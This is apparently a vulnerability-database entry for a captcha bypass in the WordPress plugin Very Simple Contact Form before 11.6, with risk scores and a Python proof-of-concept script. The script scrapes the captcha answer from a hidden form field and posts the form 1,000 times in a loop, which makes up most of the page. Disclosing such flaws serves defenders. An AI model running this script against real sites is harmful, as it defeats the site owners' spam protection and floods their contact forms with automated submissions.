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Very Simple Contact Form < 11.6 - Captcha bypass

🗓️ 30 May 2022 00:00:00Reported by Sebastian C. CardonaType 
wpexploit
 wpexploit
👁 146 Views

Simple Contact Form Captcha bypass vulnerability in WP plugin

Related
Code
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Rows per page
import requests
from requests_html import HTMLSession
from bs4 import BeautifulSoup
#usage: python3 captcher.py

#this is the url of a WP page that has implemented the form of the plugin.
url = "http://192.168.1.5/index.php/just-some-test-dude/"
proxies = {"http": "127.0.0.1:8080", "https": "127.0.0.1:8080"}

#This functions extracts the value of the captcha challenge by providing the id
def extract_value(response, id):
	soup = BeautifulSoup(response, 'html.parser')
	tag = soup.find('input', attrs={'id': id})
	extracted = tag.get('value')
	return extracted

for i in range(1, 1001):
	s = requests.Session()
	first = s.get(url, proxies=proxies)
	captcha = extract_value(first.text, 'vscf_captcha_hidden_one')
	nonce = extract_value(first.text, 'vscf_nonce')
	data_post = {'vscf_name':'AAA',
            'vscf_email':"[email protected]",
            'vscf_subject': 'aaaaa',
            'vscf_captcha': captcha,
            'vscf_captcha_hidden_one': captcha,
            'vscf_captcha_hidden_two':'0',
            'vscf_firstname': '',
            'vscf_lastname':'',
            'vscf_message': 'ssssssssssssssssssssssssssssssssssssssssssss',
            'vscf_nonce': nonce, #80abc23916
            '_wp_http_referer':'%2Findex.php%2Fjust-some-test-dude%2F',
            'vscf_send': ''}
	submit = s.post(url, data=data_post, proxies=proxies)

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30 May 2022 15:07Current
7.6High risk
Vulners AI Score7.6
CVSS 25
CVSS 3.17.5
EPSS0.01217
146